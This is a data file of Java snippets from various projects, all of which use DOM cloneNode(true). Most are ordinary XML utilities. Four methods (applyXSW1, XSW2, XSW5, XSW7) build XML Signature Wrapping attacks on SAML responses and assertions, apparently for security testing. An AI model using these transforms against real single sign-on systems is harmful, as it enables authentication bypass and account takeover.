private static Element fixupAttrs(Element root) { // #140905 // #6529766/#6531160: some versions of JAXP reject attributes set using setAttribute // (rather than setAttributeNS) even though the schema calls for no-NS attrs! // JDK 5 is fine; JDK 6 broken; JDK 6u2+ fixed // #146081: xml:base attributes mess up validation too. Element copy = (Element) root.cloneNode(true); fixupAttrsSingle(copy); NodeList nl = copy.getElementsByTagName("*"); // NOI18N for (int i = 0; i < nl.getLength(); i++) { fixupAttrsSingle((Element) nl.item(i)); } return copy; } private static void fixupAttrsSingle(Element e) throws DOMException {
public static Map<ControllerServiceNode, Element> loadControllerServices(final List<Element> serviceElements, final FlowController controller, final ProcessGroup parentGroup, final StringEncryptor encryptor) { final Map<ControllerServiceNode, Element> nodeMap = new HashMap<>(); for (final Element serviceElement : serviceElements) { final ControllerServiceNode serviceNode = createControllerService(controller, serviceElement, encryptor); if (parentGroup == null) { controller.getFlowManager().addRootControllerService(serviceNode); } else { parentGroup.addControllerService(serviceNode); } // We need to clone the node because it will be used in a separate thread below, and // Element is not thread-safe. nodeMap.put(serviceNode, (Element) serviceElement.cloneNode(true)); } for (final Map.Entry<ControllerServiceNode, Element> entry : nodeMap.entrySet()) { configureControllerService(entry.getKey(), entry.getValue(), encryptor); } return nodeMap; }
Element prosody = MaryXML.createElement(doc, MaryXML.PROSODY); prosody.setAttribute("contour", contourValue); prosody.appendChild(tokenElement.cloneNode(true)); tokenAncestor.insertBefore(prosody, tokenElement); Element nextTokenElement = (Element) tw.nextNode();
Element prosody = MaryXML.createElement(doc, MaryXML.PROSODY); prosody.setAttribute("contour", contourValue); prosody.appendChild(tokenElement.cloneNode(true)); tokenAncestor.insertBefore(prosody, tokenElement); Element nextTokenElement = (Element) tw.nextNode();
/** * Extract the config {@link org.w3c.dom.Element} as a new * {@link org.w3c.dom.Document}. * * @param node * @return * @throws ParserConfigurationException */ public static final Element createConfigDocument(Element node) throws ParserConfigurationException { Element clone = (Element) node.cloneNode(true); return clone; }
/** * Constructs a new XMap instance. * * @param root the root element (may be null). * @param clone should we clone the root element (prevent original node modification). */ protected XMap(XMLUtil xmlUtil, Element root, boolean clone) { this.xmlUtil = xmlUtil; this.root = (clone && root != null ? (Element)root.cloneNode(true) : root); }
public boolean visit(String tag, Element element) throws SpecParserException { elements.put(tag, element.cloneNode(true)); return true; } public void apply(ModulePrefs moduleprefs) {
public boolean visit(String tag, Element element) throws SpecParserException { elements.put(tag, element.cloneNode(true)); return true; } public void apply(ModulePrefs moduleprefs) {
public static Element toXMLElement(String fileName) throws Exception { File file = new File(fileName); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(file); doc.getDocumentElement().normalize(); Element root = doc.getDocumentElement(); return (Element) root.cloneNode(true); }
public void applyXSW5(Document document){ Element evilAssertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0); Element assertion = (Element) evilAssertion.cloneNode(true); Element copiedSignature = (Element) assertion.getElementsByTagNameNS("*", "Signature").item(0); assertion.removeChild(copiedSignature); document.getDocumentElement().appendChild(assertion); evilAssertion.setAttribute("ID", "_evil_assertion_ID"); }
public void applyXSW1(Document document){ Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0); Element clonedResponse = (Element) response.cloneNode(true); Element clonedSignature = (Element) clonedResponse.getElementsByTagNameNS("*", "Signature").item(0); clonedResponse.removeChild(clonedSignature); Element signature = (Element) response.getElementsByTagNameNS("*", "Signature").item(0); signature.appendChild(clonedResponse); response.setAttribute("ID", "_evil_response_ID"); }
public void applyXSW2(Document document){ Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0); Element clonedResponse = (Element) response.cloneNode(true); Element clonedSignature = (Element) clonedResponse.getElementsByTagNameNS("*", "Signature").item(0); clonedResponse.removeChild(clonedSignature); Element signature = (Element) response.getElementsByTagNameNS("*", "Signature").item(0); response.insertBefore(clonedResponse, signature); response.setAttribute("ID", "_evil_response_ID"); }
public void applyXSW7(Document document){ Element assertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0); Element extensions = document.createElement("Extensions"); document.getDocumentElement().insertBefore(extensions, assertion); Element evilAssertion = (Element) assertion.cloneNode(true); Element copiedSignature = (Element) evilAssertion.getElementsByTagNameNS("*", "Signature").item(0); evilAssertion.removeChild(copiedSignature); extensions.appendChild(evilAssertion); }
private static Element cloneMove(Element cloned, String allowedCSV, Element target) { Element clone = (Element) cloned.cloneNode(true); Element appended = (Element) target.appendChild(clone); removeNodesBut(allowedCSV, appended); return clone; }
/** * @see org.w3c.dom.Node#cloneNode(boolean) */ public Node cloneNode(boolean arg0) { return getCurrentInternal().cloneNode(arg0); }
/** * @see org.w3c.dom.Node#cloneNode(boolean) */ @Override public Node cloneNode(boolean arg0) { return original.get().cloneNode(arg0); }
public static Element getCurrentSeqNum() throws ParserConfigurationException { long sqnum = seqnum.get(); SDFSLogger.getLog().debug("getting sequence number " + sqnum); Document doc = XMLUtils.getXMLDoc("seq"); /* * if (SDFSLogger.isDebug()) SDFSLogger.getLog().debug(this.toString()); */ Element root = doc.getDocumentElement(); root.setAttribute("num",Long.toString(sqnum)); return (Element) root.cloneNode(true); }
protected void runTest() throws Throwable { Document document = dbf.newDocumentBuilder().newDocument(); Element element = document.createElementNS("urn:test", "p:elem"); Element clone = (Element)element.cloneNode(true); assertEquals("urn:test", clone.getNamespaceURI()); assertEquals("p", clone.getPrefix()); assertEquals("elem", clone.getLocalName()); assertSame(document, clone.getOwnerDocument()); } }
private String elementToXmlString(Element element) { // TODO My goodness ECMA is complicated (see 10.2.1). We'll try this first. Element copy = (Element)element.cloneNode(true); if (prettyPrint) { beautifyElement(copy, 0); } return toString(copy); }
public Definition cloneDefinition(WSDLFactory factory, Definition definition) throws WSDLException { Element root = definition.getDocumentationElement(); root = (Element)root.cloneNode(true); WSDLReader reader = factory.newWSDLReader(); return reader.readWSDL(definition.getDocumentBaseURI(), root); }